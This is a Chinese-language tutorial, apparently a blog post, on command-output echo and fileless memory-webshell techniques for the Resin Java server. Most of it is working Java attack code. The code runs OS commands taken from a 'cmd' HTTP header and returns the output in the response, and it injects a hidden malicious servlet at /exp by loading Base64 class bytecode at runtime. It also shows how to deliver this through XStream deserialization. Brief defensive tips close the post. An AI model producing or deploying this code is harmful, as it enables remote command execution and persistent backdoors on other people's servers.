Resin回显及内存马
字数 1316 2025-08-05 08:17:46

Resin回显及内存马技术详解

一、Resin回显技术

1. 通过ThreadLocal获取Request对象

Resin中间件将request对象存储在线程对象的threadLocals属性中,可以通过反射获取:

try {
    // 获取当前线程的threadLocals字段
    Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
    f.setAccessible(true);
    Object obj = f.get(Thread.currentThread());
    
    // 获取threadLocals中的table数组
    f = obj.getClass().getDeclaredField("table");
    f.setAccessible(true);
    obj = f.get(obj);
    
    // 遍历table数组查找HttpRequest对象
    Object[] obj_arr = (Object[]) obj;
    for(int i = 0; i < obj_arr.length; i++) {
        Object o = obj_arr[i];
        if (o == null) continue;
        
        f = o.getClass().getDeclaredField("value");
        f.setAccessible(true);
        obj = f.get(o);
        
        if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
            com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
            String cmd = httpRequest.getHeader("cmd");

            if(cmd != null && !cmd.isEmpty()){
                // 执行命令并回显结果
                String resp = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                        .useDelimiter("\\A").next();
                com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
                httpResponse.setHeader("Content-Length", resp.length() + "");
                
                // 通过反射获取响应流并写入结果
                java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", null);
                method.setAccessible(true);
                com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse,null);
                httpResponseStream.write(resp.getBytes(), 0, resp.length());
                httpResponseStream.close();
            }
            break;
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}

2. 通过TcpSocketLink类获取Request对象

Resin还提供了com.caucho.network.listen.TcpSocketLink类来获取当前Request:

Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);

// 获取response并写入回显
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer) getWriterM.invoke(response);
w.write("powered by potatso");

3. 通过ServletInvocation获取Request对象

另一种方式是使用com.caucho.server.dispatch.ServletInvocation类:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl)getContextRequest.invoke(null);

if (req.getHeader("cmd") != null) {
    String cmd = req.getHeader("cmd");
    javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
    PrintWriter out = rep.getWriter();
    out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
            .useDelimiter("\\A").next());
}

二、Resin内存马技术

1. 动态注册Servlet

在Resin中动态注册Servlet需要以下步骤:

  1. 获取ServletContext
  2. 创建ServletMapping对象
  3. 设置Servlet名称和类
  4. 添加URL模式
  5. 将ServletMapping添加到WebApp中

完整代码:

// 获取ServletContext
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);
com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) contextRequest.getServletContext();

// 创建并配置ServletMapping
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();

// 动态加载恶意类
String s1="your class"; // Base64编码的恶意类字节码
byte[] bytes1 = java.util.Base64.getDecoder().decode(s1.getBytes());

// 使用defineClass动态加载类
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", 
    new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
m.invoke(ClassLoader.getSystemClassLoader(), new Object[]{"cb.servletExp", bytes1, 0, bytes1.length});

// 配置Servlet
smapping.setServletClass("cb.servletExp");
smapping.setServletName("exp");
smapping.addURLPattern("/exp");

// 注册Servlet
web.addServletMapping(smapping);

2. 关键类说明

  • com.caucho.server.webapp.WebApp: Resin的Web应用类,继承自ServletContext
  • com.caucho.server.dispatch.ServletConfigImpl: Servlet配置实现类
  • com.caucho.server.dispatch.ServletMapping: Servlet映射类,继承自ServletConfigImpl
  • com.caucho.server.dispatch.ServletMapper: 存储路由的类

3. 注册流程分析

  1. 正常请求会经过com.caucho.server.dispatch.ServletInvocation
  2. 通过ServletInvocation.getContextRequest()获取ServletRequest
  3. 从ServletRequest获取ServletContext并转换为WebApp
  4. 创建ServletMapping对象并设置相关属性
  5. 调用WebApp的addServletMapping方法完成注册

三、实战应用

1. 在Xstream反序列化漏洞中的应用

对于存在Xstream反序列化漏洞的系统,可以修改CommonsBeanutils1链来实现回显或内存马注入。

回显关键代码:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
com.caucho.server.http.HttpServletRequestImpl req = (com.caucho.server.http.HttpServletRequestImpl)getContextRequest.invoke(null);

try {
    if (req.getHeader("cmd") != null) {
        String cmd = req.getHeader("cmd");
        javax.servlet.http.HttpServletResponse rep = (javax.servlet.http.HttpServletResponse) req.getServletResponse();
        PrintWriter out = rep.getWriter();
        out.println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream())
                .useDelimiter("\\A").next());
    }
} catch (Exception e) {
    e.printStackTrace();
}

内存马注入代码:

Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null);

Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext");
Object web = getServletContext.invoke(contextRequest);

com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web;
com.caucho.server.dispatch.ServletMapping smapping = new com.caucho.server.dispatch.ServletMapping();

// 动态加载恶意类代码...
// 配置并注册Servlet...

四、防御建议

  1. 限制反射操作,特别是对系统关键类的反射
  2. 监控动态类加载行为
  3. 检查Servlet、Filter等组件的动态注册
  4. 及时更新Resin到最新版本
  5. 实施严格的输入验证和过滤
  6. 使用安全产品监控内存马行为

五、总结

Resin中间件的回显和内存马技术主要依赖于:

  1. 通过反射获取当前线程的Request对象
  2. 利用Resin特有的类(如TcpSocketLink、ServletInvocation)获取上下文
  3. 通过WebApp类的addServletMapping方法动态注册恶意Servlet
  4. 结合类动态加载技术实现无文件落地攻击

理解这些技术原理对于安全研究和防御都具有重要意义。

Resin回显及内存马技术详解 一、Resin回显技术 1. 通过ThreadLocal获取Request对象 Resin中间件将request对象存储在线程对象的threadLocals属性中,可以通过反射获取: 2. 通过TcpSocketLink类获取Request对象 Resin还提供了 com.caucho.network.listen.TcpSocketLink 类来获取当前Request: 3. 通过ServletInvocation获取Request对象 另一种方式是使用 com.caucho.server.dispatch.ServletInvocation 类: 二、Resin内存马技术 1. 动态注册Servlet 在Resin中动态注册Servlet需要以下步骤: 获取ServletContext 创建ServletMapping对象 设置Servlet名称和类 添加URL模式 将ServletMapping添加到WebApp中 完整代码: 2. 关键类说明 com.caucho.server.webapp.WebApp : Resin的Web应用类,继承自ServletContext com.caucho.server.dispatch.ServletConfigImpl : Servlet配置实现类 com.caucho.server.dispatch.ServletMapping : Servlet映射类,继承自ServletConfigImpl com.caucho.server.dispatch.ServletMapper : 存储路由的类 3. 注册流程分析 正常请求会经过 com.caucho.server.dispatch.ServletInvocation 通过 ServletInvocation.getContextRequest() 获取ServletRequest 从ServletRequest获取ServletContext并转换为WebApp 创建ServletMapping对象并设置相关属性 调用WebApp的addServletMapping方法完成注册 三、实战应用 1. 在Xstream反序列化漏洞中的应用 对于存在Xstream反序列化漏洞的系统,可以修改CommonsBeanutils1链来实现回显或内存马注入。 回显关键代码: 内存马注入代码: 四、防御建议 限制反射操作,特别是对系统关键类的反射 监控动态类加载行为 检查Servlet、Filter等组件的动态注册 及时更新Resin到最新版本 实施严格的输入验证和过滤 使用安全产品监控内存马行为 五、总结 Resin中间件的回显和内存马技术主要依赖于: 通过反射获取当前线程的Request对象 利用Resin特有的类(如TcpSocketLink、ServletInvocation)获取上下文 通过WebApp类的addServletMapping方法动态注册恶意Servlet 结合类动态加载技术实现无文件落地攻击 理解这些技术原理对于安全研究和防御都具有重要意义。